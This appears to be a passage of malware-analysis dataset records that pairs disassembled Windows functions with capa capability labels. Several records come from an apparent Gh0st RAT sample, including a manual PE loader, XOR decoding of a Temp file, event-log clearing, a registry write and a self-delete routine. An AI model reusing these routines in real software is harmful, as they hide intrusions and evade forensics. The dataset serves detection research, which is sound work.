joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100051a3
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10014d34]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
cmp dword [esi + 0xe8], eax
jne 0x100051d1
cmp dword [esi + 0xec], edi
je 0x100052bb
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
mov dword [esi + 0xe8], eax
mov dword [ebp - 0xc], eax
push ebx
lea eax, [ebp - 0x14]
push eax
lea ecx, [esi + 0x30]
mov dword [esi + 0xec], edi
mov dword [ebp - 8], edi
call fcn.10008ffc
mov ebx, dword [esi + 4]
call dword [sym.imp.USER32.dll_GetFocus]
cmp eax, ebx
sete byte [ebp - 0x25]
and dword [ebp - 0x2c], 0
push ebx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
test eax, eax
je 0x10005226
push 0
push dword [esi + 4]
call ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [esi + 0x9c]
mov edx, dword [esi + 0xa4]
mov ecx, dword [esi + 0x98]
push 0x10
sub edx, eax
push edx
mov edx, dword [esi + 0xa0]
sub edx, ecx
push edx
push eax
push ecx
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0
push 0
push 0x491
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x10005270
mov ecx, esi
call fcn.10008ffc
cmp dword [ebp - 0x2c], 0
je 0x1000527d
push 1
push dword [esi + 4]
call ebx
cmp byte [ebp - 0x25], 0
pop ebx
je 0x1000528d
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetFocus]
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x100052bb
mov eax, dword [esi + 0x98]
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 0xa4]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 0xa0]
lea edx, [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ecx]
push edx
call dword [eax + 0x34]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.10009710
leave
ret 8

Function at 0x100089c1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x10008de5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push edi
mov edi, ecx
cmp eax, 0x1a
jl 0x10008e3e
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x10008e3e
push ebx
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [edi + 0x18]
call ebx
mov eax, dword [esi + 4]
mov edx, dword [esi + 0xc]
mov ecx, dword [esi]
push 0x10
sub edx, eax
push edx
mov edx, dword [esi + 8]
sub edx, ecx
push edx
push eax
push ecx
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.10008ffc
push 1
push dword [edi + 0x18]
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret 4

Function at 0x10009710
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10014d34]
jne 0x1000971a
repz ret
jmp fcn.10009ea3
Function at 0x401ea0
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov al, 0x41
mov byte [ebp - 0xf], 0x44
mov byte [ebp - 0x10], al
mov byte [ebp - 0xd], al
mov al, 0x6c
mov byte [ebp - 0xe], 0x56
mov byte [ebp - 6], al
mov byte [ebp - 5], al
mov eax, pe_nt_image_headers32
mov byte [ebp - 0xc], 0x50
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx + 0x14]
mov byte [ebp - 0xb], 0x49
test eax, eax
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 4], 0
jne 0x401ef3
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x220]
push edx
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x120]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x401f1e
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x401f33
mov esp, ebp
pop ebp
ret
push esi
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.ConvertSidToStringSidA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401f6b
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x120]
push ecx
push edx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x18]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4031c0
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x4031d8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x4031f1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x403228
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x403228
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.00403310
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x4032b1
push eax
push ebx
call fcn.004034a0
add esp, 8
push ebx
call fcn.00403520
add esp, 4
test eax, eax
je 0x4032e1
push ebx
call fcn.004033e0
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x4032f9
add eax, ebp
test eax, eax
je 0x4032e1
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x4032f2
push ebx
call fcn.004036d0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x403310
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x4033d1
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x40337b
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x4033af
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4033af
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40333e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4033e0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x403499
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x403437
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40347f
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x418094]
je 0x403451
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40346c
test al, 0x40
je 0x403463
mov ecx, dword [ebx + 0x20]
jmp 0x40346a
test al, 0x80
je 0x40347f
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x40347f
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x403404
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4039a0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
add dl, 8
test esi, esi
jbe 0x4039cd
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x4039c1
pop esi
ret
Function at 0x403c80
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push ebx
push esi
mov ebx, ecx
lea esi, [eax + 4]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
inc edi
je 0x403e47
push ebp
push edi
call sub.MSVCRT.dll_malloc
mov ecx, edi
mov ebp, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov ecx, edx
and ecx, 3
lea eax, [esp + 0x10]
push 0x104
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Temp_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop ebp
je 0x403e3b
push 0
push 0x80
push 3
push 0
push 0
lea ecx, [esp + 0x20]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebx + 0x128], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebx + 0x130], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x130]
lea edx, [ebx + 0x134]
push 0
push edx
mov edx, dword [ebx + 0x128]
push ecx
push eax
push edx
mov dword [ebx + 0x12c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebx + 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebx + 0x130]
mov edx, dword [ebx + 0x12c]
push 0x12bb00
push ecx
push edx
call fcn.004039a0
mov eax, dword [ebx + 0x12c]
push eax
call fcn.004031c0
add esp, 0x10
mov dword [0x41a184], eax
test eax, eax
je 0x403e3b
push str.Main
push eax
call fcn.00403640
mov esi, eax
add esp, 8
test esi, esi
je 0x403e1d
push 0x95
mov ecx, ebx
call fcn.00403990
mov ecx, dword [esp + 0x114]
mov edx, dword [0x4180e4]
push ecx
push edx
push 0x41aa40
call esi
add esp, 0xc
mov eax, dword [0x41a184]
test eax, eax
je 0x403e47
push eax
call fcn.004031c0
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
push 0x93
mov ecx, ebx
call fcn.00403990
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
Function at 0x403e60
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x11c
push ebx
push ebp
mov ebp, dword [esp + 0x128]
push esi
mov ebx, ecx
push edi
mov eax, dword [ebp]
mov ecx, dword [ebp + 4]
lea edx, [esp + 0x28]
push 0x104
push edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Temp_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 2
lea eax, [esp + 0x3c]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push 0
mov esi, eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x134]
lea edx, [esp + 0x14]
push 0
add eax, 0xfffffff8
push edx
add ebp, 8
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x1c], 0x70
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1d], ecx
add edx, edi
push 9
push eax
mov ecx, ebx
mov dword [esp + 0x29], edx
call fcn.00404dc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 8
Function at 0x403f90
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push ebx
xor eax, eax
push ebp
mov ebx, ecx
push esi
mov dword [esp + 0xc], eax
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], eax
push 0x104
push ecx
mov byte [esp + 0x20], al
mov byte [esp + 0x18], 0x70
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Temp_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x404050
mov dword [ebx + 0x120], esi
mov dword [ebx + 0x124], esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push 9
push ecx
mov ecx, ebx
call fcn.00404dc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret

Function at 0x404440
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 8
inc esi
jne 0x404461
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.0040d860
add esp, 8
test al, al
jne 0x404475
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x4044c0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x154
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x40457b
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x5c]
push str.Program_FilesInternet_ExplorerIEXPLORE.EXE
push ecx
mov byte [esp + 0x67], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea edx, [esp + 0x7c]
push ebx
push edx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], sym.imp.MSVCRT.dll__iob
mov dword [esp + 0x6c], sym.imp.MSVCRT.dll__strcmpi
mov dword [esp + 0x70], sym.imp.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop ebx
add esp, 0x154
ret
mov eax, dword [esp + 0x15c]
push 1
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor al, al
pop ebx
add esp, 0x154
ret

Function at 0x4045a0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x4045f0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x4045d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x404610
Capabilities:
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push str.SYSTEMSetup
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40464e
mov edx, dword [esp + 8]
push edi
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 8]
push edx
push 1
push eax
push str.Host
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret
Function at 0x404720
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9d50]
mov dword [ebx], 0x4153f8
test eax, eax
jbe 0x404764
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x110]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9d50]
inc edi
add esi, 4
cmp edi, eax
jb 0x404744
pop esi
pop ebp
mov ecx, ebx
call fcn.00404d90
pop edi
pop ebx
ret

Function at 0x4049d0
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
lea eax, [ebp - 0x25c]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x404b3e
lea ecx, [ebp - 0x25c]
push 0x104
lea edx, [ebp - 0x25c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x404b3e
lea eax, [ebp - 0x360]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x404b3e
lea ecx, [ebp - 0x158]
push str.__c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x25c]
lea eax, [ebp - 0x158]
push edx
push eax
call esi
lea ecx, [ebp - 0x158]
push str.___nul
push ecx
call esi
lea edx, [ebp - 0x158]
lea eax, [ebp - 0x360]
push edx
push eax
call esi
nop
nop
nop
nop
nop
nop
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [ebp - 0x24], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
push pe_nt_image_headers32
mov dword [ebp - 4], ecx
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x54]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [ebp - 0x360]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404b2c
mov edx, dword [ebp - 0x10]
push 0x40
push edx
call esi
mov eax, dword [ebp - 0xc]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push 0x20
call ebx
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret